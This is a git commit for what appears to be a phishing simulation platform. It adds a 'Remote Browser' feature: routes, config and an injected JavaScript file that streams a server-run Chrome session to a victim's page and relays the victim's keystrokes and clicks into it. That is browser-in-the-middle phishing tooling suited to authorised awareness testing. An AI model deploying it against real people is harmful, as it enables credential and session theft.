Remote Browser Feature

Signed-off-by: Ronni Skansing <rskansing@gmail.com>
This commit is contained in:
Ronni Skansing
2026-05-02 11:18:47 +02:00
parent 8b955c4742
commit 9bd048e4bf
56 changed files with 9150 additions and 90 deletions
+20
View File
@@ -0,0 +1,20 @@
# Go vendor dependencies
backend/vendor/
# Embedded GeoIP data blobs
backend/embedded/geoip/
# Node.js dependencies
frontend/node_modules/
# Dev runtime artifacts
backend/.dev/
backend/.dev-air/
frontend/.svelte-kit/
# Compiled binaries
build/
# Temporary files
tmp/
.tmp/
+2 -1
View File
@@ -1,7 +1,8 @@
FROM debian:12-slim
FROM debian:12-slim@sha256:b29f74a267526ae6ea104eed6c46133b0ca70ce812525df8cd5817698f0a624a
# install ca-certificates for https requests
RUN apt-get update && \
apt-get upgrade -y && \
apt-get install -y ca-certificates tzdata && \
rm -rf /var/lib/apt/lists/*
+26 -2
View File
@@ -10,6 +10,30 @@ WORKDIR /app
RUN groupadd -g 1000 appuser && \
useradd -r -u 1000 -g appuser appuser -d /home/appuser -m
# chromium runtime dependencies (required when remote_browser.enabled is true)
RUN apt-get update && apt-get install -y --no-install-recommends \
libglib2.0-0 \
libnss3 \
libatk1.0-0 \
libatk-bridge2.0-0 \
libcups2 \
libdrm2 \
libxkbcommon0 \
libxcomposite1 \
libxdamage1 \
libxfixes3 \
libxrandr2 \
libgbm1 \
libasound2 \
libpango-1.0-0 \
libcairo2 \
fonts-liberation \
libx11-6 \
libx11-xcb1 \
libxcb1 \
libxext6 \
&& rm -rf /var/lib/apt/lists/*
# install deps
#RUN go install github.com/cosmtrek/air@latest \
#RUN go install github.com/go-delve/delve/cmd/dlv@1.9.1
@@ -21,7 +45,7 @@ RUN chown -R appuser:appuser /app
USER appuser
RUN go install github.com/cosmtrek/air@v1.40.4 && go install github.com/go-delve/delve/cmd/dlv@latest
RUN go mod tidy
RUN go install github.com/cosmtrek/air@v1.40.4 && go install github.com/go-delve/delve/cmd/dlv@v1.26.3
RUN go mod download
CMD ["air", "-c", "/.dev-air/.air.docker.toml"]
+13
View File
@@ -11,6 +11,19 @@ The program must be executable
The program must have rights to serve on privliged ports
`sudo setcap CAP_NET_BIND_SERVICE=+eip /path/to/binary`
### Updating the systemd service unit (required for Remote Browser feature)
The Remote Browser feature spawns a Chrome process as a subprocess. To support this, the systemd unit was updated to remove `MemoryDenyWriteExecute` (incompatible with Chrome's V8 JIT) and `RestrictNamespaces` (required for Chrome's sandbox to work).
The in-app update replaces the binary but **does not** reload the service unit automatically. After updating from a version that did not have Remote Browser support, you must run:
```bash
sudo systemctl daemon-reload
sudo systemctl restart phishingclub
```
Without this the old unit stays active and Chrome will crash when a remote browser session is started.
### Known Issues
#### Hot reloading not working / New files now working
+20 -1
View File
@@ -208,6 +208,14 @@ const (
ROUTE_V1_VERSION = "/api/v1/version"
// import
ROUTE_V1_IMPORT = "/api/v1/import"
// remote browser
ROUTE_V1_REMOTE_BROWSER = "/api/v1/remote-browser"
ROUTE_V1_REMOTE_BROWSER_OVERVIEW = "/api/v1/remote-browser/overview"
ROUTE_V1_REMOTE_BROWSER_ID = "/api/v1/remote-browser/:id"
ROUTE_V1_REMOTE_BROWSER_ID_RUN = "/api/v1/remote-browser/:id/run"
ROUTE_V1_REMOTE_BROWSER_LIVE = "/api/v1/remote-browser/live"
ROUTE_V1_REMOTE_BROWSER_LIVE_CRID = "/api/v1/remote-browser/live/:crID"
ROUTE_V1_REMOTE_BROWSER_LIVE_STREAM = "/api/v1/remote-browser/live/:crID/stream"
)
// administrationServer is the administrationServer app
@@ -500,7 +508,18 @@ func setupRoutes(
GET(ROUTE_V1_BACKUP_LIST, middleware.SessionHandler, controllers.Backup.ListBackups).
GET(ROUTE_V1_BACKUP_DOWNLOAD, middleware.SessionHandler, controllers.Backup.DownloadBackup).
// import
POST(ROUTE_V1_IMPORT, middleware.SessionHandler, controllers.Import.Import)
POST(ROUTE_V1_IMPORT, middleware.SessionHandler, controllers.Import.Import).
// remote browser
GET(ROUTE_V1_REMOTE_BROWSER, middleware.SessionHandler, controllers.RemoteBrowser.GetAll).
GET(ROUTE_V1_REMOTE_BROWSER_OVERVIEW, middleware.SessionHandler, controllers.RemoteBrowser.GetOverview).
GET(ROUTE_V1_REMOTE_BROWSER_ID, middleware.SessionHandler, controllers.RemoteBrowser.GetByID).
POST(ROUTE_V1_REMOTE_BROWSER, middleware.SessionHandler, controllers.RemoteBrowser.Create).
PATCH(ROUTE_V1_REMOTE_BROWSER_ID, middleware.SessionHandler, controllers.RemoteBrowser.UpdateByID).
DELETE(ROUTE_V1_REMOTE_BROWSER_ID, middleware.SessionHandler, controllers.RemoteBrowser.DeleteByID).
GET(ROUTE_V1_REMOTE_BROWSER_ID_RUN, middleware.SessionHandler, controllers.RemoteBrowser.RunByID).
GET(ROUTE_V1_REMOTE_BROWSER_LIVE, middleware.SessionHandler, controllers.RemoteBrowser.ListLiveSessions).
DELETE(ROUTE_V1_REMOTE_BROWSER_LIVE_CRID, middleware.SessionHandler, controllers.RemoteBrowser.CloseLiveSession).
GET(ROUTE_V1_REMOTE_BROWSER_LIVE_STREAM, middleware.SessionHandler, controllers.RemoteBrowser.StreamLiveSession)
return r
}
+12
View File
@@ -40,6 +40,7 @@ type Controllers struct {
Backup *controller.Backup
IPAllowList *controller.IPAllowList
OAuthProvider *controller.OAuthProvider
RemoteBrowser *controller.RemoteBrowserController
}
// NewControllers creates a collection of controllers
@@ -196,6 +197,16 @@ func NewControllers(
OAuthProviderService: services.OAuthProvider,
Config: conf,
}
remoteBrowser := &controller.RemoteBrowserController{
Common: common,
RemoteBrowserService: services.RemoteBrowser,
RemoteBrowserRepository: repositories.RemoteBrowser,
CampaignRecipientRepository: repositories.CampaignRecipient,
CampaignRepository: repositories.Campaign,
CampaignService: services.Campaign,
ExecPath: conf.RemoteBrowser.ExecPath,
Enabled: conf.RemoteBrowser.Enabled,
}
return &Controllers{
Asset: asset,
@@ -229,5 +240,6 @@ func NewControllers(
Backup: backup,
IPAllowList: ipAllowList,
OAuthProvider: oauthProvider,
RemoteBrowser: remoteBrowser,
}
}
+2
View File
@@ -31,6 +31,7 @@ type Repositories struct {
OAuthProvider *repository.OAuthProvider
OAuthState *repository.OAuthState
MicrosoftDeviceCode *repository.MicrosoftDeviceCode
RemoteBrowser *repository.RemoteBrowser
}
// NewRepositories creates a collection of repositories
@@ -63,5 +64,6 @@ func NewRepositories(
OAuthProvider: &repository.OAuthProvider{DB: db},
OAuthState: &repository.OAuthState{DB: db},
MicrosoftDeviceCode: &repository.MicrosoftDeviceCode{DB: db},
RemoteBrowser: &repository.RemoteBrowser{DB: db},
}
}
+14
View File
@@ -62,6 +62,7 @@ type Server struct {
repositories *Repositories
proxyServer *proxy.ProxyHandler
ja4Middleware *middleware.JA4Middleware
remoteBrowserWSPath string
}
// NewServer returns a new server
@@ -74,6 +75,7 @@ func NewServer(
repositories *Repositories,
logger *zap.SugaredLogger,
certMagicConfig *certmagic.Config,
remoteBrowserWSPath string,
) *Server {
// setup ja4 middleware for tls fingerprinting
ja4Middleware := middleware.NewJA4Middleware(logger)
@@ -118,6 +120,7 @@ func NewServer(
certMagicConfig: certMagicConfig,
proxyServer: proxyServer,
ja4Middleware: ja4Middleware,
remoteBrowserWSPath: remoteBrowserWSPath,
}
}
@@ -342,6 +345,12 @@ func (s *Server) checkAndServeSharedAsset(c *gin.Context) bool {
// checks if the request should be redirected
// checks if the request is for a static page or static not found page
func (s *Server) Handler(c *gin.Context) {
// pass through to the explicit Gin route for the victim remote browser WS endpoint
if strings.HasPrefix(c.Request.URL.Path, "/"+s.remoteBrowserWSPath+"/") {
c.Next()
return
}
if cacheEntry, ok := s.ja4Middleware.ConnectionFingerprints.Load(c.Request.RemoteAddr); ok {
if entry, ok := cacheEntry.(*middleware.FingerprintEntry); ok {
fingerprint := entry.Fingerprint
@@ -2023,6 +2032,11 @@ func (s *Server) renderDenyPage(
// AssignRoutes assigns the routes to the server
func (s *Server) AssignRoutes(r *gin.Engine) {
// victim-facing remote browser WS endpoint - lives on the phishing engine (r), not
// the admin engine, because it is served to the victim's browser. s.Handler has an
// explicit prefix check that calls c.Next() for this path so the catch-all proxy
// logic does not swallow the request before Gin can dispatch to ServeVictim.
r.GET("/"+s.remoteBrowserWSPath+"/:crID/:rbID", s.controllers.RemoteBrowser.ServeVictim)
r.Use(s.Handler)
r.NoRoute(s.handlerNotFound)
}
+9
View File
@@ -43,6 +43,7 @@ type Services struct {
ProxySessionManager *service.ProxySessionManager
OAuthProvider *service.OAuthProvider
MicrosoftDeviceCode *service.MicrosoftDeviceCode
RemoteBrowser *service.RemoteBrowser
}
// NewServices creates a collection of services
@@ -72,6 +73,8 @@ func NewServices(
templateService := &service.Template{
Common: common,
RecipientRepository: repositories.Recipient,
OptionRepository: repositories.Option,
RemoteBrowserRepository: repositories.RemoteBrowser,
MicrosoftDeviceCodeService: microsoftDeviceCodeService,
}
file := &service.File{
@@ -196,6 +199,10 @@ func NewServices(
TemplateService: templateService,
CampaignTemplateService: campaignTemplate,
}
remoteBrowser := &service.RemoteBrowser{
Common: common,
RemoteBrowserRepository: repositories.RemoteBrowser,
}
campaign := &service.Campaign{
Common: common,
CampaignRepository: repositories.Campaign,
@@ -214,6 +221,7 @@ func NewServices(
TemplateService: templateService,
MicrosoftDeviceCodeRepository: repositories.MicrosoftDeviceCode,
AttachmentPath: attachmentPath,
RemoteBrowserService: remoteBrowser,
}
// wire campaign service into microsoft device code service now that campaign is constructed
microsoftDeviceCodeService.CampaignService = campaign
@@ -309,5 +317,6 @@ func NewServices(
ProxySessionManager: proxySessionManager,
OAuthProvider: oauthProvider,
MicrosoftDeviceCode: microsoftDeviceCodeService,
RemoteBrowser: remoteBrowser,
}
}
+3
View File
@@ -16,5 +16,8 @@
"database": {
"engine": "sqlite3",
"dsn": "file:/app/.dev/db.sqlite3"
},
"remote_browser": {
"enabled": true
}
}
+4
View File
@@ -20,5 +20,9 @@
"log": {
"path": "",
"errorPath": ""
},
"remote_browser": {
"enabled": false,
"exec_path": ""
}
}
+40 -9
View File
@@ -78,17 +78,19 @@ type (
LogPath string
ErrLogPath string
IPSecurity IPSecurityConfig
IPSecurity IPSecurityConfig
RemoteBrowser RemoteBrowserServerConfig
}
// ConfigDTO config DTO
ConfigDTO struct {
ACME ACME `json:"acme"`
AdministrationServer AdministrationServer `json:"administration"`
PhishingServer PhishingServer `json:"phishing"`
Database Database `json:"database"`
Log Log `json:"log"`
IPSecurity IPSecurityConfig `json:"ip_security"`
ACME ACME `json:"acme"`
AdministrationServer AdministrationServer `json:"administration"`
PhishingServer PhishingServer `json:"phishing"`
Database Database `json:"database"`
Log Log `json:"log"`
IPSecurity IPSecurityConfig `json:"ip_security"`
RemoteBrowser RemoteBrowserServerConfig `json:"remote_browser"`
}
Log struct {
@@ -121,6 +123,19 @@ type (
ACME struct {
Email string `json:"email"`
}
// RemoteBrowserServerConfig holds server-side remote browser settings.
RemoteBrowserServerConfig struct {
// Enabled controls whether the remote browser feature is available.
// Defaults to false. When false all remote browser endpoints return 404.
// When true all built-in safeguards are removed (Chrome flag blocklist,
// URL scheme restriction) because operators are trusted at server level.
// Only enable on instances where every operator is trusted as a server admin.
Enabled bool `json:"enabled"`
// ExecPath is the path to a Chrome/Chromium binary. When empty Rod uses
// its own auto-downloaded Chromium. Set at the server level only.
ExecPath string `json:"exec_path"`
}
)
type IPSecurityConfig struct {
@@ -400,6 +415,16 @@ func (c *Config) SetErrLogPath(path string) {
c.ErrLogPath = path
}
// SetRemoteBrowserEnabled enables or disables the remote browser feature.
func (c *Config) SetRemoteBrowserEnabled(enabled bool) {
c.RemoteBrowser.Enabled = enabled
}
// SetRemoteBrowserExecPath sets the Chrome binary path used by the remote browser runner.
func (c *Config) SetRemoteBrowserExecPath(path string) {
c.RemoteBrowser.ExecPath = path
}
// SetFileWriter sets the file writer
func (c *Config) SetFileWriter(fileWriter file.Writer) error {
if err := ValidateFileWriter(fileWriter); err != nil {
@@ -451,7 +476,7 @@ func StringAddressToTCPAddr(address string) (*net.TCPAddr, error) {
// FromMap creates a *Config from a DTO
func FromDTO(dto *ConfigDTO) (*Config, error) {
return NewConfig(
cfg, err := NewConfig(
dto.ACME.Email,
dto.AdministrationServer.TLSHost,
dto.AdministrationServer.TLSAuto,
@@ -466,6 +491,11 @@ func FromDTO(dto *ConfigDTO) (*Config, error) {
dto.Log.ErrorPath,
dto.IPSecurity,
)
if err != nil {
return nil, err
}
cfg.RemoteBrowser = dto.RemoteBrowser
return cfg, nil
}
// ToDTO converts a *Config to a *ConfigDTO
@@ -493,7 +523,8 @@ func (c *Config) ToDTO() *ConfigDTO {
Path: c.LogPath,
ErrorPath: c.ErrLogPath,
},
IPSecurity: c.IPSecurity,
IPSecurity: c.IPSecurity,
RemoteBrowser: c.RemoteBrowser,
}
}
File diff suppressed because it is too large Load Diff
+5
View File
@@ -26,6 +26,11 @@ const (
OptionKeyProxyCookieName = "proxy_cookie_name"
// OptionKeyRemoteBrowserWSPath is the seeded random path segment used for the
// victim-facing remote browser WebSocket endpoint. Randomised at first startup
// so the endpoint is not fingerprinted by path alone.
OptionKeyRemoteBrowserWSPath = "remote_browser_ws_path"
OptionKeyDisplayMode = "display_mode"
OptionValueDisplayModeWhitebox = "whitebox"
OptionValueDisplayModeBlackbox = "blackbox"
+34
View File
@@ -0,0 +1,34 @@
package database
import (
"time"
"github.com/google/uuid"
"gorm.io/gorm"
)
const (
REMOTE_BROWSER_TABLE = "remote_browsers"
)
// RemoteBrowser is a gorm data model for saved remote browser scripts.
type RemoteBrowser struct {
ID *uuid.UUID `gorm:"primary_key;not null;unique;type:uuid"`
CreatedAt *time.Time `gorm:"not null;index;"`
UpdatedAt *time.Time `gorm:"not null;index"`
CompanyID *uuid.UUID `gorm:"index;uniqueIndex:idx_remote_browsers_unique_name_and_company_id;type:uuid"`
Name string `gorm:"not null;index;uniqueIndex:idx_remote_browsers_unique_name_and_company_id;"`
Description string `gorm:"type:text"`
Script string `gorm:"type:text;not null;"`
Config string `gorm:"type:text;not null;default:'{}'"`
Company *Company
}
func (e *RemoteBrowser) Migrate(db *gorm.DB) error {
return UniqueIndexNameAndNullCompanyID(db, "remote_browsers")
}
func (RemoteBrowser) TableName() string {
return REMOTE_BROWSER_TABLE
}
+3
View File
@@ -7,6 +7,9 @@ import (
//go:embed tracking-pixel/sendgrid/open.gif
var TrackingPixel []byte
//go:embed remotebrowser_inject.js
var RemoteBrowserInjectJS string
// SigningKey1 is verifing the signed .sig file when updating
//
//go:embed signingkeys/public1.bin
+197
View File
@@ -0,0 +1,197 @@
(function () {
var wsProto = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
var ws = new WebSocket(wsProto + '//' + window.location.host + '/__WS_PATH__/__CR_ID__/__RB_ID__');
var h = {}; // event handlers keyed as "e:eventName" or "stream_start:name" etc.
var streams = {}; // name → {canvas, w, h, cssW, cssH, autoSize, el}
var streamLastStart = {} // name → last stream_start message, so mountStream called late still sizes correctly
ws.onopen = function () {
ws.send(JSON.stringify({ type: 'viewport', width: window.innerWidth, height: window.innerHeight }));
};
// Apply stream_start sizing to an already-mounted stream entry.
function applyStreamStart(st, m) {
st.canvas.width = m.width;
st.canvas.height = m.height;
st.w = m.width;
st.h = m.height;
// Display size = element's true CSS-pixel dimensions.
// Replace cssText entirely so there is no max-width left to fight against.
var dw = m.cssWidth || m.width;
var dh = m.cssHeight || m.height;
st.cssW = dw;
st.cssH = dh;
st.canvas.style.cssText = 'display:block;outline:none;width:' + dw + 'px;height:' + dh + 'px;';
if (st.autoSize) {
st.el.style.width = dw + 'px';
st.el.style.height = dh + 'px';
}
}
ws.onmessage = function (e) {
try {
var m = JSON.parse(e.data);
if (m.type === 'event' && m.key) {
(h['e:' + m.key] || []).forEach(function (f) { f(m.value); });
} else if (m.type === 'stream_start' && m.name) {
// Always store so mountStream() called inside the handler still gets sized.
streamLastStart[m.name] = m;
var st = streams[m.name];
if (st) {
// Stream already mounted — this is a resize/reposition update only.
// Do NOT re-fire user handlers; that would call mountStream() again
// and create duplicate canvases.
applyStreamStart(st, m);
} else {
// First stream_start for this name: fire user handlers so the page can
// call mountStream() to attach a canvas.
(h['stream_start:' + m.name] || []).forEach(function (f) {
f(m.cssWidth || m.width, m.cssHeight || m.height);
});
// If the handler called mountStream() just now, apply sizing immediately.
if (streams[m.name]) {
applyStreamStart(streams[m.name], m);
}
}
} else if (m.type === 'stream_frame' && m.name) {
var st = streams[m.name];
if (!st) return;
var img = new Image();
img.onload = function () {
if (st.canvas.width !== img.naturalWidth) { st.canvas.width = img.naturalWidth; st.w = img.naturalWidth; }
if (st.canvas.height !== img.naturalHeight) { st.canvas.height = img.naturalHeight; st.h = img.naturalHeight; }
st.canvas.getContext('2d').drawImage(img, 0, 0);
};
img.src = 'data:image/jpeg;base64,' + m.frame;
} else if (m.type === 'done') {
(h['e:done'] || []).forEach(function (f) { f(); });
} else if (m.type === 'stream_stop' && m.name) {
// Remove the canvas from DOM and clear the tracking entry so the next
// stream_start for the same name triggers a fresh mountStream() call.
// Without this, a stop→start cycle (e.g. element removed and re-added)
// leaves a stale canvas in `streams` that silently receives frames while
// subsequent mountStream() calls add new canvases on top.
var stStopped = streams[m.name];
if (stStopped && stStopped.canvas && stStopped.canvas.parentNode) {
stStopped.canvas.parentNode.removeChild(stStopped.canvas);
}
delete streams[m.name];
delete streamLastStart[m.name];
(h['stream_stop:' + m.name] || []).forEach(function (f) { f(); });
}
} catch (ex) {}
};
window.remoteBrowser = {
on: function (ev, nameOrFn, fn) {
if (typeof nameOrFn === 'function') {
h['e:' + ev] = h['e:' + ev] || [];
h['e:' + ev].push(nameOrFn);
} else {
var k = ev + ':' + nameOrFn;
h[k] = h[k] || [];
h[k].push(fn);
}
},
send: function (ev, data) {
if (ws.readyState === 1) ws.send(JSON.stringify({ event: ev, data: data || {} }));
},
mountStream: function (name, el, opts) {
// stream_start fires on every viewport/JPEG-dimension change; guard against
// appending a second canvas if the stream is already mounted.
if (streams[name]) return;
var autoSize = !!(opts && opts.autoSize);
var allowScroll = !!(opts && opts.scroll);
var allowArrows = !!(opts && opts.arrowKeys);
var ARROW_KEYS = { ArrowUp: 1, ArrowDown: 1, ArrowLeft: 1, ArrowRight: 1 };
var canvas = document.createElement('canvas');
canvas.style.cssText = 'display:block;outline:none;';
canvas.setAttribute('tabindex', '0');
el.appendChild(canvas);
var st = { canvas: canvas, w: 0, h: 0, autoSize: autoSize, el: el };
streams[name] = st;
// If stream_start already arrived (e.g. mountStream called inside the handler),
// apply the stored sizing now so the canvas has the right CSS dimensions immediately.
if (streamLastStart[name]) {
applyStreamStart(st, streamLastStart[name]);
}
function coords(e) {
var r = canvas.getBoundingClientRect();
var sx = st.w > 0 ? st.w / r.width : 1;
var sy = st.h > 0 ? st.h / r.height : 1;
return { x: Math.round((e.clientX - r.left) * sx), y: Math.round((e.clientY - r.top) * sy) };
}
function snd(o) {
if (ws.readyState === 1) ws.send(JSON.stringify(o));
}
canvas.addEventListener('mousedown', function (e) {
e.preventDefault();
canvas.focus();
var p = coords(e);
snd({ type: 'stream_input', name: name, action: 'mousedown', x: p.x, y: p.y,
button: e.button === 2 ? 'right' : 'left' });
});
canvas.addEventListener('mouseup', function (e) {
var p = coords(e);
snd({ type: 'stream_input', name: name, action: 'mouseup', x: p.x, y: p.y,
button: e.button === 2 ? 'right' : 'left' });
});
canvas.addEventListener('mousemove', function (e) {
var p = coords(e);
snd({ type: 'stream_input', name: name, action: 'mousemove', x: p.x, y: p.y });
});
// Scroll: disabled by default to avoid accidentally scrolling the remote browser.
// Enable with { scroll: true } in mountStream options.
if (allowScroll) {
canvas.addEventListener('wheel', function (e) {
e.preventDefault();
var p = coords(e);
snd({ type: 'stream_input', name: name, action: 'scroll', x: p.x, y: p.y,
deltaX: e.deltaX, deltaY: e.deltaY });
}, { passive: false });
}
// Arrow keys: always preventDefault (prevent page scroll when canvas is focused),
// but only forwarded to the remote browser when { arrowKeys: true }.
canvas.addEventListener('keydown', function (e) {
var isArrow = !!ARROW_KEYS[e.key];
e.preventDefault();
if (isArrow && !allowArrows) return;
snd({ type: 'stream_input', name: name, action: 'keydown',
key: e.key, code: e.code, keyCode: e.keyCode,
modifiers: (e.altKey ? 1 : 0) | (e.ctrlKey ? 2 : 0) | (e.metaKey ? 4 : 0) | (e.shiftKey ? 8 : 0),
charText: (e.ctrlKey || e.metaKey) ? '' : (e.key === 'Enter' ? '\r' : e.key.length === 1 ? e.key : '') });
});
canvas.addEventListener('keyup', function (e) {
var isArrow = !!ARROW_KEYS[e.key];
e.preventDefault();
if (isArrow && !allowArrows) return;
snd({ type: 'stream_input', name: name, action: 'keyup',
key: e.key, code: e.code, keyCode: e.keyCode,
modifiers: (e.altKey ? 1 : 0) | (e.ctrlKey ? 2 : 0) | (e.metaKey ? 4 : 0) | (e.shiftKey ? 8 : 0) });
});
canvas.addEventListener('contextmenu', function (e) { e.preventDefault(); });
}
};
window.rb = window.remoteBrowser;
})();
+10
View File
@@ -12,13 +12,16 @@ require (
github.com/charmbracelet/bubbles v0.20.0
github.com/charmbracelet/bubbletea v1.3.4
github.com/charmbracelet/lipgloss v1.1.0
github.com/dop251/goja v0.0.0-20260226184354-913bd86fb70c
github.com/enetx/surf v1.0.141
github.com/exaring/ja4plus v0.0.2
github.com/fatih/color v1.15.0
github.com/gin-contrib/zap v1.1.4
github.com/gin-gonic/gin v1.10.0
github.com/go-errors/errors v1.5.1
github.com/go-rod/rod v0.116.2
github.com/google/uuid v1.3.1
github.com/gorilla/websocket v1.5.3
github.com/klauspost/compress v1.18.1
github.com/oapi-codegen/nullable v1.1.0
github.com/pquerna/otp v1.4.0
@@ -50,6 +53,7 @@ require (
github.com/cloudwego/base64x v0.1.4 // indirect
github.com/cloudwego/iasm v0.2.0 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/dlclark/regexp2 v1.11.4 // indirect
github.com/enetx/g v1.0.194 // indirect
github.com/enetx/http v1.0.19 // indirect
github.com/enetx/http2 v1.0.20 // indirect
@@ -64,6 +68,7 @@ require (
github.com/go-playground/locales v0.14.1 // indirect
github.com/go-playground/universal-translator v0.18.1 // indirect
github.com/go-playground/validator/v10 v10.22.0 // indirect
github.com/go-sourcemap/sourcemap v2.1.3+incompatible // indirect
github.com/go-task/slim-sprig/v3 v3.0.0 // indirect
github.com/goccy/go-json v0.10.3 // indirect
github.com/golang-jwt/jwt/v5 v5.2.2 // indirect
@@ -101,6 +106,11 @@ require (
github.com/wzshiming/socks5 v0.6.0 // indirect
github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e // indirect
github.com/yeqown/reedsolomon v1.0.0 // indirect
github.com/ysmood/fetchup v0.2.3 // indirect
github.com/ysmood/goob v0.4.0 // indirect
github.com/ysmood/got v0.40.0 // indirect
github.com/ysmood/gson v0.7.3 // indirect
github.com/ysmood/leakless v0.9.0 // indirect
github.com/zeebo/blake3 v0.2.3 // indirect
go.uber.org/mock v0.6.0 // indirect
go.uber.org/multierr v1.11.0 // indirect
+26
View File
@@ -45,6 +45,10 @@ github.com/cloudwego/iasm v0.2.0/go.mod h1:8rXZaNYT2n95jn+zTI1sDr+IgcD2GVs0nlbbQ
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/dlclark/regexp2 v1.11.4 h1:rPYF9/LECdNymJufQKmri9gV604RvvABwgOA8un7yAo=
github.com/dlclark/regexp2 v1.11.4/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8=
github.com/dop251/goja v0.0.0-20260226184354-913bd86fb70c h1:hIlkLbQ+tYoUqlG42LnxwGcohL5jaGqD8mGeJWavm8A=
github.com/dop251/goja v0.0.0-20260226184354-913bd86fb70c/go.mod h1:MxLav0peU43GgvwVgNbLAj1s/bSGboKkhuULvq/7hx4=
github.com/enetx/g v1.0.194 h1:lI/eicj+Qdcdt1xBUhaHv3M/ujN4v+WXYZDZYD1Dxuo=
github.com/enetx/g v1.0.194/go.mod h1:B3YULbT/hAx9+p2Q8GHrsTmjjM19iz1Rcdz3Y9+kSg4=
github.com/enetx/http v1.0.19 h1:4W97CyqKrPiR16wEm6UOesqNrt8l4RsVMjZHz6+I84E=
@@ -95,6 +99,10 @@ github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJn
github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY=
github.com/go-playground/validator/v10 v10.22.0 h1:k6HsTZ0sTnROkhS//R0O+55JgM8C4Bx7ia+JlgcnOao=
github.com/go-playground/validator/v10 v10.22.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM=
github.com/go-rod/rod v0.116.2 h1:A5t2Ky2A+5eD/ZJQr1EfsQSe5rms5Xof/qj296e+ZqA=
github.com/go-rod/rod v0.116.2/go.mod h1:H+CMO9SCNc2TJ2WfrG+pKhITz57uGNYU43qYHh438Mg=
github.com/go-sourcemap/sourcemap v2.1.3+incompatible h1:W1iEw64niKVGogNgBN3ePyLFfuisuzeidWPMPWmECqU=
github.com/go-sourcemap/sourcemap v2.1.3+incompatible/go.mod h1:F8jJfvm2KbVjc5NqelyYJmf/v5J0dwNLS2mL4sNA1Jg=
github.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI=
github.com/go-task/slim-sprig/v3 v3.0.0/go.mod h1:W848ghGpv3Qj3dhTPRyJypKRiqCdHZiAzKg9hl15HA8=
github.com/goccy/go-json v0.10.3 h1:KZ5WoDbxAIgm2HNbYckL0se1fHD6rz5j4ywS6ebzDqA=
@@ -112,6 +120,8 @@ github.com/google/pprof v0.0.0-20250403155104-27863c87afa6 h1:BHT72Gu3keYf3ZEu2J
github.com/google/pprof v0.0.0-20250403155104-27863c87afa6/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA=
github.com/google/uuid v1.3.1 h1:KjJaJ9iWZ3jOFZIf1Lqf4laDRCasjl0BCmnEGxkdLb4=
github.com/google/uuid v1.3.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ=
@@ -227,6 +237,20 @@ github.com/yeqown/go-qrcode/v2 v2.2.4 h1:cXdYlrhzHzVAnJHiwr/T6lAUmS9MtEStjEZBjAr
github.com/yeqown/go-qrcode/v2 v2.2.4/go.mod h1:uHpt9CM0V1HeXLz+Wg5MN50/sI/fQhfkZlOM+cOTHxw=
github.com/yeqown/reedsolomon v1.0.0 h1:x1h/Ej/uJnNu8jaX7GLHBWmZKCAWjEJTetkqaabr4B0=
github.com/yeqown/reedsolomon v1.0.0/go.mod h1:P76zpcn2TCuL0ul1Fso373qHRc69LKwAw/Iy6g1WiiM=
github.com/ysmood/fetchup v0.2.3 h1:ulX+SonA0Vma5zUFXtv52Kzip/xe7aj4vqT5AJwQ+ZQ=
github.com/ysmood/fetchup v0.2.3/go.mod h1:xhibcRKziSvol0H1/pj33dnKrYyI2ebIvz5cOOkYGns=
github.com/ysmood/goob v0.4.0 h1:HsxXhyLBeGzWXnqVKtmT9qM7EuVs/XOgkX7T6r1o1AQ=
github.com/ysmood/goob v0.4.0/go.mod h1:u6yx7ZhS4Exf2MwciFr6nIM8knHQIE22lFpWHnfql18=
github.com/ysmood/gop v0.2.0 h1:+tFrG0TWPxT6p9ZaZs+VY+opCvHU8/3Fk6BaNv6kqKg=
github.com/ysmood/gop v0.2.0/go.mod h1:rr5z2z27oGEbyB787hpEcx4ab8cCiPnKxn0SUHt6xzk=
github.com/ysmood/got v0.40.0 h1:ZQk1B55zIvS7zflRrkGfPDrPG3d7+JOza1ZkNxcc74Q=
github.com/ysmood/got v0.40.0/go.mod h1:W7DdpuX6skL3NszLmAsC5hT7JAhuLZhByVzHTq874Qg=
github.com/ysmood/gotrace v0.6.0 h1:SyI1d4jclswLhg7SWTL6os3L1WOKeNn/ZtzVQF8QmdY=
github.com/ysmood/gotrace v0.6.0/go.mod h1:TzhIG7nHDry5//eYZDYcTzuJLYQIkykJzCRIo4/dzQM=
github.com/ysmood/gson v0.7.3 h1:QFkWbTH8MxyUTKPkVWAENJhxqdBa4lYTQWqZCiLG6kE=
github.com/ysmood/gson v0.7.3/go.mod h1:3Kzs5zDl21g5F/BlLTNcuAGAYLKt2lV5G8D1zF3RNmg=
github.com/ysmood/leakless v0.9.0 h1:qxCG5VirSBvmi3uynXFkcnLMzkphdh3xx5FtrORwDCU=
